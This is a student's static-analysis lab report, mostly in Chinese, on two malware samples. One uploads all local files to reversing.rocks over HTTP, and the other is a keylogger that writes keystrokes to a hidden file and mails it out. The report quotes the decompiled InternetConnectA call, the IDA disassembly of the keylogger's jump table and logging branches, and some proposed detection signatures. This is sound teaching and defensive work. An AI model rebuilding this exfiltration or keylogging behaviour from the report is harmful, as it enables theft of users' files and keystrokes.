Lab 02 - Advanced Static Analysis

1120162015 李博

Lab_02-1.malware

1. (10%) Main function:

a. What is the address of main?

0x4011A0

b. What does this function do?

判断能否连接 http://reversing.rocks/，若能则进入下一个函数，否则退出。

i. What code constructs are used in this function?

首先判断能否连接 http://reversing.rocks/，如果连接成功则进入函数 sub_401130，否则异常退出。

ii.Are there any interesting strings? If so, what are they?

http://reversing.rocks/

2. (15%) Looking at the subroutine a 0x00401130:

a.What are the arguments to InternetConnectA? What do they mean?

```
C++

void InternetConnectA(
  HINTERNET     hInternet,
  LPCSTR        lpszServerName,
  INTERNET_PORT nServerPort,
  LPCSTR        lpszUserName,
  LPCSTR        lpszPassword,
  DWORD         dwService,
  DWORD         dwFlags,
  DWORD_PTR     dwContext
);
```

```
InternetConnectA(v0, "reversing.rocks", 1234u, 0, 0, 3u, 0, 0);
```

hInternet 是 **InternetOpenA 函数返回的句柄**，用于初始化程序对 WinINet 函数的使用，这里的 v0 即 InternetOpenA 返回的句柄；

lpszServerName 代表**服务器的主机名**，这里指“reversing.rocks”；

nServerPort 代表服务器上的**传输控制协议/ Internet 协议（TCP / IP）端口**，这里指 1234；

lpszUserName 和 lpszPassword 代表登陆的**用户名和密码**，这里为空；

dwService 代表**所用服务的类型**，这里的 3 指 http 服务；

dwFlags 特定于所用服务的选项，dwContext 用于标识回调中返回句柄的应用程序上下文。

b. What does this function do?

该函数用来连接主机名为 reversing.rocks 的服务器，若连接成功则进入函数 sub_401000。

i.What code constructs are used in this function?

连接 reversing.rocks，端口号为 1234，并进入函数 sub_401000。

3. (10%) Looking at the subroutine at 0x00401000:

a.What code constructs are used in this function?

首先在本机寻找符合通配符“//*”的文件，若无结果则异常退出。否则进行 http 的 post 请求，并上传本机文件至服务器。

b. What imported functions are called?

FindFirstFileA，HttpOpenRequestA，HttpEndRequestA，HttpSendRequestExA，InternetWriteFile，InternetCloseHandle，FindClose

c. What does this subroutine do?

遍历本机内的所有文件，并上传至服务器 reversing.rocks。

4. (15%) What does this malware do?

连接服务器 reversing.rocks，遍历本机内的所有文件，并上传。

Lab_02-2.malware

1. (15%) Main function:

a. What imported functions are called?

AllocConsole，FindWindowA，ShowWindow，fopen，fputs，fclose，time，ctime

i. What do these functions do?

AllocConsole 用于打开新的控制台，并显示调试信息；

FindWindowA 用于寻找名为 ConsoleWindowClass 的窗体；

ShowWindow 用于显示窗体；

Fopen，fputs，fclose 用于对文件的打开，写入和关闭。

Time 用于获取当前时间，ctime 用于转换 time 获得的秒数为标准时间的字符串。

ii. Any interesting strings?

“Started logging:”表示开始记录日志，说明后续操作中会不断进行写入文件。

2. (15%) Looking at the subroutine at 0x0040135C:

a. What imported functions are called?

GetAsyncKeyState

Fopen，fputc，fseek，fread，fclose

b. What code constructs are used here?

Hint: Look at the ‘jmp eax’ at 0x00401465, try to guess where that jump could potentially

take you

多个 if 分支

0x00401465 处的 jmp eax 即根据当前按键的值跳转到相应的写入文件的操作指令。

```
.rdata:00404120 off_404120      dd offset loc_4014D0    ; DATA XREF: get_keys(void)+102↑r
.rdata:00404124                 dd offset loc_4014F3
.rdata:00404128                 dd offset loc_401852
.rdata:0040412C                 dd offset loc_401852
.rdata:00404130                 dd offset loc_401852
.rdata:00404134                 dd offset loc_4014AD
.rdata:00404138                 dd offset loc_401852
.rdata:0040413C                 dd offset loc_401852
.rdata:00404140                 dd offset loc_40148A
.rdata:00404144                 dd offset loc_401516
.rdata:00404148                 dd offset loc_401852
.rdata:0040414C                 dd offset loc_401852
.rdata:00404150                 dd offset loc_401832
.rdata:00404154                 dd offset loc_401852
.rdata:00404158                 dd offset loc_401852
.rdata:0040415C                 dd offset loc_401852
.rdata:00404160                 dd offset loc_401852
.rdata:00404164                 dd offset loc_401852
.rdata:00404168                 dd offset loc_401852
.rdata:0040416C                 dd offset loc_401852
.rdata:00404170                 dd offset loc_401852
.rdata:00404174                 dd offset loc_401852
.rdata:00404178                 dd offset loc_401852
.rdata:0040417C                 dd offset loc_401852
.rdata:00404180                 dd offset loc_401467
.rdata:00404184                 dd offset loc_401852
.rdata:00404188                 dd offset loc_401852
.rdata:0040418C                 dd offset loc_401852
.rdata:00404190                 dd offset loc_401852
```

```
.text:004014D0 loc_4014D0:                             ; DATA XREF: .rdata:off_404120↓o
.text:004014D0                  mov     eax, [ebp+File]
.text:004014D3                  mov     [esp+38h+Mode], eax ; File
.text:004014D7                  mov     [esp+38h+Filename], offset aBackspace ; "\r\n[BACKSPACE]\r\n'
.text:004014DE                  call    _fputs
.text:004014E3                  mov     eax, [ebp+File]
.text:004014E6                  mov     [esp+38h+Filename], eax ; File
.text:004014E9                  call    _fclose
.text:004014EE                  jmp     loc_40185D
.text:004014F3 ; ---------------------------------------------------------------------------
.text:004014F3
.text:004014F3 loc_4014F3:                             ; DATA XREF: .rdata:00404124↓o
.text:004014F3                  mov     eax, [ebp+File]
.text:004014F6                  mov     [esp+38h+Mode], eax ; File
.text:004014FA                  mov     [esp+38h+Filename], offset aTab ; "\r\n[TAB]\r\n"
.text:00401501                  call    _fputs
.text:00401506                  mov     eax, [ebp+File]
.text:00401509                  mov     [esp+38h+Filename], eax ; File
.text:0040150C                  call    _fclose
.text:00401511                  jmp     loc_40185D
.text:00401516 ; ---------------------------------------------------------------------------
.text:00401516
.text:00401516 loc_401516:                             ; DATA XREF: .rdata:00404144↓o
.text:00401516                  mov     eax, [ebp+File]
.text:00401519                  mov     [esp+38h+Mode], eax ; File
.text:0040151D                  mov     [esp+38h+Filename], offset aCtrl ; "\r\n[CTRL]\r\n"
.text:00401524                  call    _fputs
.text:00401529                  mov     eax, [ebp+File]
.text:0040152C                  mov     [esp+38h+Filename], eax ; File
```

3. (20%) What does this malware do?

键盘记录器，当文件大小超过 100 字节时，调用函数 MailIt 进行邮件发送。

a. What signatures would you propose?

GetAsyncKeyState

i. Why are they useful signatures?

因为它能获取键盘按键是否被按下。

ii. Does the sample create any files? If so, what are they used for?

有进行创建文件的操作，文件路径为\\WINDOWS\\lzwindowlz.av。

该文件用于键盘按键的使用记录。